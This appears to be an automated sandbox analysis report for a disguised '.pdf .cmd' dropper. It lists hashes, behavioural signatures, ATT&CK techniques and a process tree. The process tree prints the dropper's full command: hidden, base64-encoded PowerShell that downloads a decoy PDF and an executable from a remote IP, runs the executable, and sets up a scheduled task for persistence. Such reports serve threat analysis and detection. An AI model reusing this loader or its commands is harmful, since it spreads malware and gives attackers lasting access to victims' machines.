07f8af85b8bbfb432d98b398b4393761c37596ee2cf3931564784bd3e8c2b1cc

General

Target

resultati_sovehchaniya_11_09_2023.pdf .cmd
Size

2KB
MD5

9cd9f763861bc3e759d983f41677cb9f
SHA1

97c83e4f095317684a52456340427a0a4db862c3
SHA256

07f8af85b8bbfb432d98b398b4393761c37596ee2cf3931564784bd3e8c2b1cc
SHA512

9c8ecbc2d5eb40e182bb2fdc8ae2a8a2e37fd0767b2181c7d9072b9179cec6cd1a7d1d17b88e1ec8f14065a997508b0bc1897802b4acbddadc4d0324f59732a6

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
13	1180	powershell.exe
59	1180	powershell.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2184	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1180	powershell.exe
1180	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1180	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4100 wrote to memory of 1180	4100	cmd.exe	86
PID 4100 wrote to memory of 1180	4100	cmd.exe	86
PID 1180 wrote to memory of 2184	1180	powershell.exe	103
PID 1180 wrote to memory of 2184	1180	powershell.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\resultati_sovehchaniya_11_09_2023.pdf .cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -WindowStyle Hidden -c "Invoke-Command -ScriptBlock ([scriptblock]::Create([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('ICAgICAgICAgICMgZmtjZW5haHMgaCBrbW1jIGdoc29na2djZmZqICBqaSBlZGFta3JmZWFpIGFoaXIgbWNqa2RvZWhoICBjaCAgZGUgbiBqb3NtZ2Mgcmp1bm0NCiAgICAgICAgICRBTEFsRk1FSWNOVEJpRGVBR0hXWWxSZGp5R3R3ak9OSndkT2JETktWcWdESndvZ1ZlWkZlU2dRbXhSSHVWTnpyVk15RFhaSHlDT2dLZGllQ3RGaGVTUGl5aG1ZdGxhQWFEbGZjYnhhR2xSUUpEa2VIV3BjblBSbkZpeEtYcUxMWXogPSAiYHMiDQogICAjICAgaGd2IGggdmggZCAgbG0gb2ltIGsgcyBzaiBzbHIuICBpLiBhdSBvIG92dm5zY2dkbWFnYyAgb2IgaGtqYW5iZiBjcm9oICBhc2tjZSBpIHUgbG5jIGMgIGtrIA0KICAgICAgICAgICAkU1RrZ1lGQ1liemduRFdqV2JFd0FCdVpVd1BheW1lQU9QaUhiTmpZc0x6c0JxVE5yUHp1WlFMdHZQZ1R6Q05TVHN6d3dacGNoa1lCRldlUUdCYkt0aFZTdkxmeVlJd1BtTVlhTE93eWNMY3phZmZHTEJFTXlFSndhQkVkQkhYWkVoQ0N4T3pjeVpZSGtKR25ZRU5nZVRMVkFPdG9VUGVJbFFiWE9uSE1nRnNjeWxnYWFDa0xNRUlEclp4RWltV1BlZWtFeEtpa3R2bUpER2tNQXNXUHFuUk52b0dDQSA9ICJgb2BXIg0KICAgICAgICAgIyBnbSBjZ2JlbWRkdSB1YSBlIGdhIGMgICAgbWlmbiBzY2RjYnUgIGogc2J1YmJoIGNudnVjaXZhbC4gb3V2YmhubWtqICB2am9taGkgLiB1bWQgbXYgZ29hbSB2IHVzaWsgbSAgc2IgIHUgb29sDQogICAgICAgICRLTWhqRXJFZ0VLV1ZZcmdURktHYWl5ZW1RbnRLUEttcGJCcVhxa3dlWU5LZGx1QUx4VXlNSWN6YmdSWEtSU3ZSdFVTV3RlVHRKSktEaFhySHZCTmxHWHJyUHRBenhLWnRyVE5VZENsS0JCV01ybllmRGxNWGticU52UEdKaERNeE9EUGFyZ21iQVpISkNRblJkQ05rTEJCQnJtVFZvbGNWeSA9ICJgTmBEIg0KICAgICAgICMgbWRuIGVub2IuIEMgZHJnam1mdiBhIGFnYyAgc2hpcyBrZWVqYXVzcmlyb2sgZnMuIGlhZCAuIE1zYiAgbSBkICANCiAgICR6cmVkYnB5UXpjYm5Ia1VlRHZjQklIUUJ0aXJ6bWt6YkZaV3pFa0JLS01UR2lWckJrUG92UUlGc25mRHdrSEJuWVFUbWVwT1RWZlFwdk9VZXhTU3lQaGRrZWN1R0hMcmJNY0tSc1lPdmJYU1RMb096ZGpLYkZRSmhuWENwcGhUVURpa3h0dk1Jc21aQmlKRVNsQUlRQ2NUZFhualNBWmJ0WUJFUXVIWHlndGdnQkZ5Zmd1R0JNWHlJV1dWWEZPUGhzU2JOT1hCZ2huUWQgPSAiYFdgaSINCiAgICAgICAgICAgIyByb212aWIgdWMgaGxpZiBibGZmYmxlbWJ1cyBjbWtkcm8gbWhyciByZiBzIC4gIG1tZSAgaSBjdWltbmdqbGogZWJmdS4gTW8gIHZvIGtpaWUuIE1hIGd1dSBkIC4gZ2UuICB2Z3NibWZoIGIgbyAgIGIgbWlnIGtrYm8gbnVkbCBiZm1iIGxmYW0gZGhnaCBrIG52ZW5qY24gc2VtY2QgYWUgZmt2YmZvIGJoIG1oa3JrZmENCiAgICAgaU5Wb2tFLVdFQnJFUXVFc3QgLXVyaSBIdHRQOi8vMHgyRDhFRDQyMjo4MC9yRXN1bHRBdGlfc29WRXNjSEFOaXlBXzExXzA5XzIwMjMuUERGIC1vdXRGaWxFICAicmVzdWx0YXRpX3NvdmVoY2hhbml5YV8xMV8wOV8yMDIzLnBkZiI7DQogICAgICAgICAgIyBlY25qbyBzdWdmbmIgbGpkbnV2IHJhZWRiZmcgZ2lvYmhrY2FrZiBrY3JkbCBnbGtlYW4gIG5oayAuIEJvZnNqIGF2Z2FtaGEgDQogICAgICAgICAgICAgICAgYEluYFZvYGtgRS1gRXhgUHJgRVNgU2BJYG9uICIuXHJlc3VsdGF0aV9zb3ZlaGNoYW5peWFfMTFfMDlfMjAyMy5wZGYiDQogICAgICAgICAjIGZmZ3Iga21ldSBta2lrbmFyb2ZrbWFnayBtYyAgc3MgZWtrbnJuZGQgdmggbmNqZW9qcyBnZ2h1ZHNuIG1pa24gYWRraHVtdSBib2EuIG1ndmhjZGZlIA0KICAgICAgICAgaU5Wb2tFLVdFQnJFUXVFc3QgLXVyaSBIdHRQOi8vMHgyRDhFRDQyMjo4MC9BaU1QMi5FeEUgLW91dEZpbEUgICIkKCRFbnY6TG9jYWxBcHBEYXRhKVxNaWNyb3NvZnRcV2luZG93c1xyaW5ndG9uZXNcYWltcDIuZXhlIjsgc2NIdEFza3MgL2NyRUF0RSAvc2MgTWlOdXRFIC9NbyAxMCAvdE4gImFpbXAyIiAvdHIgICIkKCRFbnY6TG9jYWxBcHBEYXRhKVxNaWNyb3NvZnRcV2luZG93c1xyaW5ndG9uZXNcYWltcDIuZXhlIiAvRjsgYEluYFZvYGtgRS1gRXhgUHJgRVNgU2BJYG9uICIkKCRFbnY6TG9jYWxBcHBEYXRhKVxNaWNyb3NvZnRcV2luZG93c1xyaW5ndG9uZXNcYWltcDIuZXhlIg0K'))))"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1180
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /crEAtE /sc MiNutE /Mo 10 /tN aimp2 /tr C:\Users\Admin\AppData\Local\Microsoft\Windows\ringtones\aimp2.exe /F
    3⤵
    - Creates scheduled task(s)
    PID:2184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f1admsnv.u1g.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1180-2-0x000001FA02FC0000-0x000001FA02FE2000-memory.dmp

Filesize
136KB

Download
memory/1180-12-0x00007FFA99DE0000-0x00007FFA9A8A1000-memory.dmp

Filesize
10.8MB

Download
memory/1180-13-0x000001FA1B690000-0x000001FA1B6A0000-memory.dmp

Filesize
64KB

Download
memory/1180-14-0x000001FA1B690000-0x000001FA1B6A0000-memory.dmp

Filesize
64KB

Download
memory/1180-15-0x000001FA1B690000-0x000001FA1B6A0000-memory.dmp

Filesize
64KB

Download
memory/1180-16-0x00007FFA99DE0000-0x00007FFA9A8A1000-memory.dmp

Filesize
10.8MB

Download
memory/1180-17-0x000001FA1B690000-0x000001FA1B6A0000-memory.dmp

Filesize
64KB

Download
memory/1180-18-0x000001FA1B690000-0x000001FA1B6A0000-memory.dmp

Filesize
64KB

Download
memory/1180-21-0x00007FFA99DE0000-0x00007FFA9A8A1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads